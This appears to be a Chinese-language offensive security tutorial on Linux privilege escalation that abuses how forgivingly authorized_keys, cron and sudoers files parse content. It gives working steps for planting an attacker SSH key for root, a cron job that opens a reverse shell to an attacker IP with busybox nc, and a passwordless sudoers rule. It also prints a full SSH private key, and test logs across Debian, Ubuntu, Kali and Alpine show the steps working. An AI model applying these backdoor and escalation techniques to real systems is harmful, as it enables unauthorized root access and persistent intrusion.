利用配置文件内容容错性实现权限提升的三种方式
该利用方式为写入内容不完全可控下的一种折中玩法
核心思路:利用高敏感配置文件对文件内容格式的宽容性以及写入后立即生效特性,构造恶意内容写入文件,从而实现提权。
# 1. SSH 授权公钥文件 (authorized_keys)
选择理由:authorized_keys 会将文件中的每一行解析为一条独立的公钥(空行和以 # 开头的注释行除外),只要整行语法合法就会被 sshd 接受并参与认证匹配。这种“逐行独立解析”的机制,使我们只需成功写入一行格式正确的公钥,就能在不破坏原有配置的前提下实现权限提升。
优点:只需写入一行合法公钥即可提权
缺点:需要 .ssh 目录存在且权限正确
适用范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
文件的每一行包含一个密钥(空行和以“#”开头的行将被视为注释而忽略)。公钥由以下以空格分隔的字段组成:options、keytype、base64 编码的密钥和注释。options 字段是可选的。
[options] keytype base64编码的公钥数据 [comment]
ssh-rsa AAAAB3NzaC1yc2E... test@test
2
man 手册https://man.openbsd.org/sshd (opens new window)中关于 authorized_keys 的描述:

准备一对 SSH 密钥对:
公钥:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+m ssh-ed25519-20251128170612
私钥:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
c2gtZWQyNTUxOQAAACALwes3fSGwRVGRVWlWhw22MW5c81iFEb2zgo9osd4PpgAA
AKBvt7BNb7ewTQAAAAtzc2gtZWQyNTUxOQAAACALwes3fSGwRVGRVWlWhw22MW5c
81iFEb2zgo9osd4PpgAAAEBypkeI+1U7vOaeNLqi/CkDuVQPa2rXWF8peXA/0pUp
qwvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+mAAAAGnNzaC1lZDI1NTE5
LTIwMjUxMTI4MTcwNjEyAQID
-----END OPENSSH PRIVATE KEY-----
2
3
4
5
6
7
8
测试:把公钥写入root用户的 /root/.ssh/authorized_keys 文件中
.ssh 目录权限控制
mkdir -p /root/.ssh
chmod 700 /root/.ssh
2
公钥写入内容
1a
2b
3c
4d
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvB6zd9IbBFUZFVaVaHDbYxblzzWIURvbOCj2ix3g+m ssh-ed25519-20251128170612
5e
6f
7g
8h
9i
2
3
4
5
6
7
8
9
10
# Debian 10

Kali SSH 可以成功登录 root

# Ubuntu 22.04
写入公钥

Kali SSH 可以成功登录 root

# Alpine
写入公钥

kali ssh可以成功登录root

# 2. 系统定时任务文件(Cron)
选择理由:在 Alpine Linux(busybox crond)系统下,crond 会跳过语法错误的行并继续执行同一文件中其他合法的定时任务条目,不会因为单行错误而影响整体任务执行。在 Debian 系发行版(如 Debian、Ubuntu、Kali 等)中,如果 /etc/crontab 或 /etc/cron.d/* 中存在语法错误行,通常会导致整个该 crontab 文件被忽略。
优点:只需写入一行合法定时任务即可提权
缺点:仅在 Alpine 系统下测试成功,Debian 系会因格式错误忽略整个定时任务文件
适用范围:仅在 Alpine(busybox crond)环境下测试验证通过。在 Debian、Ubuntu、Kali 等 Debian 系发行版中,由于 crond 在检测到语法错误时会忽略整个 crontab 文件,本方法在这些系统上实测无法稳定利用。
常见定时任务文件位置与格式:
busybox crond Alpine/容器精简系统 /etc/crontabs/<user>
crond (Cronie) CentOS / RHEL 系列 /etc/crontab + /etc/cron.d/*
cron / Vixie cron Debian / Ubuntu 系列 /etc/crontab + /etc/cron.d/*
2
3
文件内容格式:
Alpine 系统下 /etc/crontabs/<user> 文件格式:
* * * * * command
非 Alpine 系统下 /etc/crontab 和 /etc/cron.d/* 文件格式:
* * * * * user command
对于非 Alpine 等精简系统,更推荐在 /etc/cron.d/ 目录下放置定时任务文件,文件名可以任意命名。
# Debian 10
测试:在 Debian 测试环境下,把恶意定时任务写入 /etc/cron.d/rootRevShell 文件中
1
2
3
4
* * * * * root /bin/bash -c "busybox nc 192.168.6.101 4444 -e bash"
5
6
7
8
2
3
4
5
6
7
8
9
Debian 下,通过日志定位,定时任务因为一行语法错误,整个定时任务文件被忽略
root@MazeSec:~# sudo grep cron /var/log/syslog | tail -20
Nov 28 04:17:01 moban CRON[651]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
Nov 28 04:28:01 moban cron[326]: Error: bad hour; while reading /etc/cron.d/rootRevShell
Nov 28 04:28:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:32:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:32:01 moban cron[326]: Error: bad hour; while reading /etc/cron.d/rootRevShell
Nov 28 04:32:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:33:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:33:01 moban cron[326]: Error: bad minute; while reading /etc/cron.d/rootRevShell
Nov 28 04:33:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
Nov 28 04:36:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:38:01 moban cron[326]: (*system*rootRevShell) RELOAD (/etc/cron.d/rootRevShell)
Nov 28 04:38:01 moban cron[326]: Error: bad minute; while reading /etc/cron.d/rootRevShell
Nov 28 04:38:01 moban cron[326]: (*system*rootRevShell) ERROR (Syntax error, this crontab file will be ignored)
2
3
4
5
6
7
8
9
10
11
12
13
14

# Kali
本地 Kali 尝试写入定时任务测试,同样因语法错误,整个定时任务文件被忽略

# Ubuntu 22.04
测试 Ubuntu 系统,同样因为语法错误,整个定时任务文件被忽略

好吧,有错误内容的定时任务在 Debian 系下似乎玩不转
# Alpine
测试:在 Alpine 测试环境下,把恶意定时任务写入 /etc/crontabs/root 文件中,即使存在错误内容,仍然可以成功执行正确的定时任务行


# 3. sudo 配置文件(sudoers)
利用理由:sudoers 解析器在读取配置时会跳过语法错误的行,并继续解析后续合法配置行。这种“跳过错误行”的机制,使我们只需成功写入一行格式正确的恶意配置,就能在不破坏原有配置的前提下实现权限提升。
优点:只需写入一行合法 sudoers 配置即可提权
缺点:未知
适用范围:大部分 Linux 发行版均适用,包括 Debian、Ubuntu、Alpine 等。
sudoers 文件格式:
root ALL=(ALL:ALL) ALL
welcome ALL=(ALL:ALL) NOPASSWD:/path/to/xxx
2
警告
实际操作建议:写入无密码的 sudo 权限配置,避免因目标用户需要输入密码而无法利用,当然,如果你知道用户密码,随意。
user ALL=(ALL:ALL) NOPASSWD: ALL
# Debian 10
测试:在 Debian 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8
2
3
4
5
6
7
8
9


切回 welcome 用户,测试 sudo 权限提升成功

报错有点扎眼,不过给你 root 权限了还在乎这些吗?
# Ubuntu 22.04
测试:在 Ubuntu 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8
2
3
4
5
6
7
8
9

切回 welcome 用户,测试 sudo 权限提升成功

# Alpine
测试:在 Alpine 测试环境下,把恶意 sudoers 配置写入 /etc/sudoers.d/welcome 文件中
当前无 sudo 权限

切到 root,在 /etc/sudoers.d/welcome 文件中写入内容:
1
2
3
4
welcome ALL=(ALL:ALL) NOPASSWD: ALL
5
6
7
8
2
3
4
5
6
7
8
9

回到 welcome 用户,测试 sudo 权限提升成功

